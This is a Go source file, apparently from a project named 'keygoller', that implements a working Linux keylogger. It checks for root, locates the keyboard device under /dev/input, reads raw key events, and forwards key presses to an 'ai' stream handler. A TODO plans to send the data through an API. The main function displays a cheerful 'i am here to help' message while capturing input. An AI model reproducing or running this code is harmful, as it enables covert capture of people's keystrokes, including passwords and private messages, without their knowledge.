147 lines
2.5 KiB
Go
147 lines
2.5 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/binary"
|
|
"errors"
|
|
"fmt"
|
|
"io/ioutil"
|
|
"os"
|
|
"strings"
|
|
"syscall"
|
|
|
|
"git.postblue.info/keygoller/ai"
|
|
"git.postblue.info/keygoller/utils"
|
|
"github.com/sirupsen/logrus"
|
|
)
|
|
|
|
var ()
|
|
|
|
type InputStreamMap struct {
|
|
events map[string]InputStream
|
|
}
|
|
|
|
type InputStream struct {
|
|
event utils.InputEvent
|
|
}
|
|
|
|
// KeyLogger is a wrapper around a file descriptor.
|
|
type KeyLogger struct {
|
|
fd *os.File
|
|
}
|
|
|
|
func getKeyboard() string {
|
|
path := "/sys/class/input/event%d/device/name"
|
|
resolved := "/dev/input/event%d"
|
|
|
|
for i := 0; i < 255; i++ {
|
|
buff, err := ioutil.ReadFile(fmt.Sprintf(path, i))
|
|
if err != nil {
|
|
logrus.Error(err)
|
|
}
|
|
if strings.Contains(strings.ToLower(string(buff)), "keyboard") {
|
|
return fmt.Sprintf(resolved, i)
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
func (k *KeyLogger) IsRoot() bool {
|
|
return syscall.Getuid() == 0 && syscall.Geteuid() == 0
|
|
}
|
|
|
|
func New(path string) (*KeyLogger, error) {
|
|
k := &KeyLogger{}
|
|
if !k.IsRoot() {
|
|
return nil, errors.New("must be root")
|
|
|
|
}
|
|
fd, err := os.Open(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
k.fd = fd
|
|
return k, nil
|
|
}
|
|
|
|
func (k *KeyLogger) Read() chan utils.InputEvent {
|
|
event := make(chan utils.InputEvent)
|
|
go func(even chan utils.InputEvent) {
|
|
for {
|
|
stream, err := k.read()
|
|
if err != nil {
|
|
logrus.Error(err)
|
|
close(event)
|
|
break
|
|
}
|
|
|
|
if stream != nil {
|
|
event <- *stream
|
|
}
|
|
|
|
}
|
|
}(event)
|
|
return event
|
|
}
|
|
|
|
func (k *KeyLogger) read() (*utils.InputEvent, error) {
|
|
buffer := make([]byte, utils.Eventsize)
|
|
n, err := k.fd.Read(buffer)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if n <= 0 {
|
|
return nil, nil
|
|
}
|
|
|
|
return k.eventFromBuffer(buffer)
|
|
}
|
|
|
|
func (k *KeyLogger) eventFromBuffer(buffer []byte) (*utils.InputEvent, error) {
|
|
event := &utils.InputEvent{}
|
|
err := binary.Read(bytes.NewBuffer(buffer), binary.LittleEndian, event)
|
|
return event, err
|
|
}
|
|
|
|
func (k *KeyLogger) Close() error {
|
|
if k.fd == nil {
|
|
return nil
|
|
}
|
|
|
|
return k.fd.Close()
|
|
}
|
|
|
|
func main() {
|
|
fmt.Println("Your keyboard input will be here: ", getKeyboard())
|
|
utils.ClippySays("i am here to help")
|
|
|
|
// TODO
|
|
// 3 stream the data through an api
|
|
StreamChannel := make(chan utils.InputEvent)
|
|
keyboard := getKeyboard()
|
|
klog, err := New(keyboard)
|
|
if err != nil {
|
|
logrus.Error(err)
|
|
os.Exit(1)
|
|
}
|
|
defer klog.Close()
|
|
events := klog.Read()
|
|
|
|
go ai.ReadFromStream(StreamChannel)
|
|
|
|
for e := range events {
|
|
switch e.Type {
|
|
|
|
case utils.EvKey:
|
|
if e.KeyPress() {
|
|
StreamChannel <- e
|
|
}
|
|
|
|
break
|
|
default:
|
|
continue
|
|
}
|
|
}
|
|
|
|
}
|